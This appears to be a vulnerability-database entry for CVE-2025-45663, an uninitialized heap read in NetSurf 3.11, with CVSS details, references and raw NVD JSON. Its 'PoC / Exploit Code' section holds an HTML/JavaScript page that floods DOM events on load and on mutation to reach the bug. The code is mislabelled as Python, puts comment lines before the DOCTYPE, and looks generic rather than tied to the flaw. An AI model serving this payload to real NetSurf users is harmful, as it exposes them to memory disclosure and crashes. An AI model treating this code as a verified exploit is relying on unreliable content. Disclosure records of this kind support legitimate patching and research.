CVE-2025-45663

Description

An issue in NetSurf v3.11 causes the application to read uninitialized heap memory when creating a dom_event structure.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:netsurf-browser:netsurf:3.11:*:*:*:*:*:*:* - VULNERABLE

NetSurf Browser v3.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-45663 PoC - NetSurf dom_event uninitialized memory read
// This PoC demonstrates triggering the vulnerability through DOM events

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-45663 PoC</title>
</head>
<body>
    <div id="target">Hover or click here to trigger events</div>
    <script>
        // Create multiple DOM events to trigger the uninitialized memory read
        // in dom_event structure creation
        
        function triggerEvents() {
            // Create and dispatch various event types
            const eventTypes = [
                'click', 'mouseover', 'mouseout', 'focus', 'blur',
                'keydown', 'keyup', 'touchstart', 'touchend'
            ];
            
            const target = document.getElementById('target');
            
            // Rapidly trigger events to increase chance of hitting vulnerable code path
            eventTypes.forEach(type => {
                for (let i = 0; i < 100; i++) {
                    const event = new Event(type, { bubbles: true, cancelable: true });
                    target.dispatchEvent(event);
                }
            });
            
            // Use custom events to potentially trigger additional code paths
            const customEvent = new CustomEvent('customtrigger', {
                detail: { data: 'triggering uninitialized read' }
            });
            target.dispatchEvent(customEvent);
        }
        
        // Trigger on page load and user interaction
        window.addEventListener('load', triggerEvents);
        
        // Additional triggering mechanism
        document.addEventListener('DOMContentLoaded', () => {
            const observer = new MutationObserver(() => {
                triggerEvents();
            });
            
            observer.observe(document.body, {
                childList: true,
                subtree: true
            });
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-45663
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-45663
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-45663/
[4] VulDB https://vuldb.com/cve/CVE-2025-45663
[5] https://github.com/Fysac/netsurf-disclosure/tree/main/CVE-2025-45663
[6] https://www.netsurf-browser.org/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-45663", "sourceIdentifier": "[email protected]", "published": "2025-11-03T15:15:35.510", "lastModified": "2025-11-05T18:19:10.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in NetSurf v3.11 causes the application to read uninitialized heap memory when creating a dom_event structure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-244"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:netsurf-browser:netsurf:3.11:*:*:*:*:*:*:*", "matchCriteriaId": "EA529B87-24A0-4813-B08D-9E3B3DD7D6C2"}]}]}], "references": [{"url": "https://github.com/Fysac/netsurf-disclosure/tree/main/CVE-2025-45663", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.netsurf-browser.org/", "source": "[email protected]", "tags": ["Product"]}]}}